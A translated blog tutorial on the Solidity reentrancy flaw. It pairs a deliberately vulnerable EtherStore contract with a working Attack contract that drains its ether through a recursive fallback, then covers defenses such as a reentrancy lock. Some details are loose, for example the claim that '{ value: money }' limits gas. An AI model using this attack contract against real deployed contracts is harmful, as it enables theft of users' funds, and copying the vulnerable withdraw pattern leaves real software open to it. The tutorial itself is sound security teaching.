Zero Time Technology|Solidity Smart Contract Basic Vulnerability - Reentrancy Vulnerability

 

​0x01 Reentrant nature

The operation of calling an external contract or sending Ether to an address requires the contract to submit external calls, which can be hijacked by an attacker, forcing the contract to execute further code leading to re-entry logic.

0x02 pre-knowledge

We need to know the difference between the following functions

  • <address>.transfer(): If the sending fails, the transaction status will be rolled back, and only 2300 Gas will be passed for calling to prevent reentry.
  • <address>.send(): Return false if sending fails, and only pass 2300 Gas for calling to prevent re-entry.
  • <address>.call(): Returns false if the sending fails, and all available Gas will be passed to the external contract fallback() call; Gas can be limited by { value: money }, which cannot effectively prevent reentry.

payable identifier

  • Add the payable flag to the function to accept Ether and store it in the current contract.

0x03 Vulnerability recurrence

Take the latest version of Solidity 0.8 as an example:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

The EtherStore contract uses the <address>.call{}() function in the transfer function withdraw(), which allows hackers to use the fallback() function to recursively call the withdraw() function, thereby transferring all the money on the EtherStore contract. We continue to write the attack code following the above contract:

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw(); // go to fallback
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

The attack code first creates a constructor to receive the contract address of the vulnerable code, and then writes the attack function: after depositing money, call the reentrant function withdraw(), and then write the fallback() function to recursively call the reentrant function.

We deploy the first contract and deposit 90 Ether into the contract address:

 

 

Next, we change the account and deploy the second contract. When deploying, you need to pass in the address of the first contract. Then deposit 1 Ether into the contract to attack:

Next, query the balance of the attack contract:

 

Click getBalance, and the contract has 91000000000000000000 wei, which happens to be the 90 ether of the original contract plus the 1 ether we deposited, and the attack is now complete.

0x04 Security Advisory

The easiest way to prevent reentrancy is to use safer functions instead of the <address>.call() function, such as transfer() and send().

If you must use the call() function, you can choose to add a lock to prevent reentry:

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _; // re-entrancy
        locked = false;
    }
}

If you still write the attack code as before, when the above function is called for the second time from the callback() function, the require check will not pass. This prevents reentrancy.

0x05 Summary

Security issues in the blockchain field cannot be ignored, which requires developers to be cautious at all times and develop a defensive programming mindset. In particular, functions that call external contracts should generally be considered untrustworthy, and various operations (updating state variables, etc.) should be placed before reentrant functions.

Here I appeal to developers to pay attention to and develop good development habits. When calling external contracts, you should always be cautious.

Guess you like

Origin blog.csdn.net/m0_37598434/article/details/123137379